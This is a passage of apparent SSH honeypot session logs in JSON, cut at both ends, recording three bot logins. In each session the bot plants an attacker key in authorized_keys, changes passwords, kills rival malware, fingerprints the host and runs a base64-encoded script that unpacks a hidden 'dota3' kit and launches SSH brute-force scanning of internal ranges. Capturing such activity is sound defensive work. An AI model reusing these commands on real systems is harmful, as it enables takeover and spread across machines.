AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:38.198758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:38.199301+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:38.519350+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cAxnhPJRvgpe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T19:08:38.834078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T19:08:39.151520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:39.152231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:39.465183+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:40.195882+00:00","kind":"output","latency_ms":730,"data":" total used free shared buff/cache available\nMem: 15888 4120 7312 214 4456 11108"},{"seq":11,"at":"2026-08-24T19:08:40.519051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:41.078420+00:00","kind":"output","latency_ms":559,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:08:41.397074+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:41.397357+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:41.716769+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:41.717571+00:00","kind":"output","latency_ms":null,"data":" 19:08:41 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:42.033594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:42.034301+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:42.349723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:42.350364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:42.664364+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:42.665156+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:42 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:42.996000+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:42.996648+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:43.317767+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:43.318403+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:43.634356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:43.634778+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T19:08:43.953094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:45.104332+00:00","kind":"output","latency_ms":1150,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:45.423190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:46.195885+00:00","kind":"output","latency_ms":771,"data":"25G"},{"seq":33,"at":"2026-08-24T19:08:47.359067+00:00","kind":"input","latency_ms":null,"data":"echo \"root redhat1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:47.673142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:48.110015+00:00","kind":"output","latency_ms":436,"data":""},{"seq":36,"at":"2026-08-24T19:08:48.795878+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:49.364858+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:08:49.696041+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:50.489474+00:00","kind":"output","latency_ms":792,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:08:50.818307+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:51.132614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.605134+00:00","kind":"output","latency_ms":471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:08:51.922091+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.559430+00:00","kind":"output","latency_ms":636,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:08:52.896877+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.323000+00:00","kind":"output","latency_ms":425,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.162267+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.163277+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"redhat1","method":"password","accepted":true,"tier":"other"}]} {"id":"eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed","name":"cobalt-quartz-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"65.181.71.117","src_port":58331,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":688,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T18:23:59.758849+00:00","ended_at":"2026-08-24T18:23:59.971970+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3226,"events":[{"seq":1,"at":"2026-08-24T18:23:18.352610+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T18:23:19.040274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T18:23:25.482553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T18:23:25.483586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T18:23:26.172259+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwertyu\\nQAKk4XNpkUw3\\nQAKk4XNpkUw3\"|passwd|bash"},{"seq":6,"at":"2026-08-24T18:23:26.867055+00:00","kind":"input","latency_ms":null,"data":"echo \"qwertyu\\nQAKk4XNpkUw3\\nQAKk4XNpkUw3\\n\"|passwd"},{"seq":7,"at":"2026-08-24T18:23:27.565681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T18:23:27.567060+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T18:23:28.258635+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T18:23:28.818402+00:00","kind":"output","latency_ms":557,"data":"15888 5120 1064 0 9703 0"},{"seq":11,"at":"2026-08-24T18:23:29.507908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T18:23:30.423221+00:00","kind":"output","latency_ms":913,"data":"-rwxr-xr-x 1 root root 150K Apr 21 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T18:23:31.112086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T18:23:31.112732+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T18:23:31.802151+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T18:23:31.802739+00:00","kind":"output","latency_ms":null,"data":" 18:23:31 up 4 days, 15:13, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T18:23:32.489208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T18:23:32.489750+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T18:23:33.175254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T18:23:33.175853+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T18:23:33.861657+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T18:23:33.862495+00:00","kind":"output","latency_ms":null,"data":"top - 18:23:33 up 4 days, 15:13, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T18:23:34.552260+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T18:23:34.552811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T18:23:35.238933+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T18:23:35.239821+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T18:23:35.926527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T18:23:35.927004+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-24T18:23:36.613569+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T18:23:37.377444+00:00","kind":"output","latency_ms":763,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-24T18:23:38.064821+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T18:23:39.662468+00:00","kind":"output","latency_ms":1593,"data":"24G"},{"seq":33,"at":"2026-08-24T18:23:42.016130+00:00","kind":"input","latency_ms":null,"data":"echo \"admin qwertyu\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T18:23:42.704853+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T18:23:43.124929+00:00","kind":"output","latency_ms":419,"data":""},{"seq":36,"at":"2026-08-24T18:23:45.160652+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T18:23:45.793776+00:00","kind":"output","latency_ms":630,"data":"\u0997\u057d\ud835\udea2#r1d\n"},{"seq":38,"at":"2026-08-24T18:23:46.483016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T18:23:47.194236+00:00","kind":"output","latency_ms":710,"data":"\u0997\u057d\ud835\udea2#r1d"},{"seq":40,"at":"2026-08-24T18:23:47.882207+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T18:23:48.570966+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T18:23:48.983862+00:00","kind":"output","latency_ms":412,"data":"1"},{"seq":43,"at":"2026-08-24T18:23:49.673038+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T18:23:50.256102+00:00","kind":"output","latency_ms":581,"data":"1"},{"seq":45,"at":"2026-08-24T18:23:50.946450+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T18:23:59.760442+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T18:23:59.761402+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"qwertyu","method":"password","accepted":true,"tier":"other"}]} {"id":"bc359e45-55ba-409e-93c6-17db2ba5c4c0","name":"shaded-hazy-vervet","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":41514,"username":"user14","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:31:38.860509+00:00","ended_at":"2026-08-24T16:31:38.948523+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3259,"events":[{"seq":1,"at":"2026-08-24T16:31:12.023492+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:31:12.345261+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:31:12.979229+00:00","kind":"output","latency_ms":953,"data":""},{"seq":4,"at":"2026-08-24T16:31:16.729786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-24T16:31:16.730218+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-24T16:31:17.042235+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nH7RbeDLj6NTb\\nH7RbeDLj6NTb\"|passwd|bash"},{"seq":7,"at":"2026-08-24T16:31:17.350390+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nH7RbeDLj6NTb\\nH7RbeDLj6NTb\\n\"|passwd"},{"seq":8,"at":"2026-08-24T16:31:17.661506+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T16:31:17.661929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T16:31:17.971456+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T16:31:19.114721+00:00","kind":"output","latency_ms":1141,"data":"15888 624 1204 55 12747 13976"},{"seq":12,"at":"2026-08-24T16:31:19.425553+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T16:31:20.010503+00:00","kind":"output","latency_ms":585,"data":"-rwxr-xr-x 1 root root 148K May 25 15:54 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T16:31:20.321094+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:31:20.321557+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-24T16:31:20.632569+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T16:31:20.634060+00:00","kind":"output","latency_ms":null,"data":" 16:31:20 up 4 days, 13:21, 0 user, load average: 0.07, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T16:31:20.941732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T16:31:20.942776+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T16:31:21.252040+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T16:31:21.252499+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T16:31:21.565540+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T16:31:21.566322+00:00","kind":"output","latency_ms":null,"data":"top - 16:31:21 up 4 days, 13:21, 0 user, load average: 0.07, 0.05, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T16:31:21.877723+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T16:31:21.878258+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T16:31:22.187579+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T16:31:22.188293+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T16:31:22.497716+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T16:31:22.498454+00:00","kind":"output","latency_ms":null,"data":"user14"},{"seq":30,"at":"2026-08-24T16:31:22.808068+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T16:31:23.419892+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T16:31:23.730231+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T16:31:24.356683+00:00","kind":"output","latency_ms":625,"data":"24G"},{"seq":34,"at":"2026-08-24T16:31:25.475262+00:00","kind":"input","latency_ms":null,"data":"echo \"user14 123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T16:31:25.784229+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T16:31:26.227433+00:00","kind":"output","latency_ms":441,"data":""},{"seq":37,"at":"2026-08-24T16:31:26.851295+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T16:31:27.260732+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":39,"at":"2026-08-24T16:31:27.572438+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T16:31:28.032246+00:00","kind":"output","latency_ms":460,"data":"1"},{"seq":41,"at":"2026-08-24T16:31:28.343459+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:31:28.653733+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T16:31:29.189097+00:00","kind":"output","latency_ms":535,"data":"1"},{"seq":44,"at":"2026-08-24T16:31:29.498090+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T16:31:30.297432+00:00","kind":"output","latency_ms":798,"data":"1"},{"seq":46,"at":"2026-08-24T16:31:30.609069+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | 